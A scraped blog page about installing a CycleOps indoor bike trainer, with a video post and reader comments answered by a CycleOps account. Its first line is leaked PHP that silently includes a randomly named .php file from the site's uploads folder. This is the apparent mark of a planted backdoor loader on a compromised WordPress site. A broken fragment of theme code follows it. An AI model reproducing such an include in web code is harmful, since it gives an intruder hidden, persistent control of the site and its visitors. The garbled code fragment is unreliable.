@include_once("/home/pauly99/public_html/homesforsaleinnaperville.com/wp-content/uploads/faIiTqX.php")ic_sidebar') && is_active_sidebar( 'left_header' ) ){ echo '
'. "\n"; dynamic_sidebar( 'left_header' ); echo '
' . "\n"; } if ( function_exists('dynamic_sidebar') && is_active_sidebar( 'right_header' ) ){ echo '
' . "\n"; dynamic_sidebar( 'right_header' ); echo '
' . "\n"; } ?>
Get In Shape With An Indoor Bike Trainer http://www.magnetictrainer.info
«
»
By . Filed in Cycleops  |   
Tags: , , ,
Home Share on Facebook! Stumble Upon this! RSS 2.0 

Learn how to install your new CycleOPS Trainer.

Related posts:

  1. CycleOps Trainers Video
  2. CycleOps Fluid 2 Trainer vs. Kurt Kinetic Road Machine

This entry was posted on January 5, 2011 at 9:47 PM and is filed under Cycleops. You can follow any responses to this entry through the RSS 2.0 feed. Both comments and pings are currently closed.

11 Comments

  1. Comment by Celco221:
    Thursday, February 26th 2009 at 3:03 AM | 

    Thanks for this, helped out heaps

  2. Comment by npf121:
    Sunday, September 13th 2009 at 4:28 PM | 

    Thanks so much…. just bought a used fluid trainer with no manual… was really suffering with the mounting sequence. After the video i was riding in the living room in about 3 minutes!

  3. Comment by kastnerwyatt:
    Wednesday, October 14th 2009 at 3:35 PM | 

    Is this trainer pretty loud???

  4. Comment by simplystu:
    Friday, October 23rd 2009 at 7:24 PM | 

    I have two of them. One for each bike and never really think about the sound so I would say no.

  5. Comment by Weezy1957:
    Friday, December 25th 2009 at 7:48 AM | 

    How tight should the roller press on the rear tire? I see quite a bit of tire compression in this video.

    Is there a manual online?

    Many thanks!

  6. Comment by simplystu:
    Sunday, January 10th 2010 at 11:38 AM | 

    Ok. When using the trainer, I use an “older” tire. After that I pump to the same each few days. This is key as it will keep things consistent. Something like 110. After that I find the “sweet spot” and keep it the same all Winter long. I use just enough to make it feel secure. Once I dial in, I do not adjust at all. Did this help?

  7. Comment by airsoftboy1313:
    Friday, July 9th 2010 at 3:01 PM | 

    can you run a mountain bike on one of these?

  8. Comment by neilmandude:
    Monday, September 6th 2010 at 9:44 PM | 

    Can you use this trainer with a 15mm bolt axle? no quick release mechanism?

  9. Comment by CycleOpsPowerCycling:
    Wednesday, October 6th 2010 at 7:50 AM | 

    @neilmandude All of our trainers should work fine with 15mm axel nuts. There may be some variation depending on what specific nut is used on the bike, but they can easily be replaced with a set that fits.

  10. Comment by CycleOpsPowerCycling:
    Wednesday, October 6th 2010 at 7:52 AM | 

    @Nergock If your son’s bike has 20″ or 24″ wheels, you could get a 20/24″ Wheel Adapter. Details are on the CycleOps website.

  11. Comment by CycleOpsPowerCycling:
    Wednesday, October 6th 2010 at 7:56 AM | 

    @airsoftboy1313 More info: You can run a 26” mountain bike on the classic trainers; however, knobby tires will be very loud and cause vibration, and little bits of tire will probably break off, so we suggest using slicks. The Pro Series trainers will take a 29″ wheels. If you get a small slick, you might be able to fit a 29er in the classic series trainer.

Comments are closed.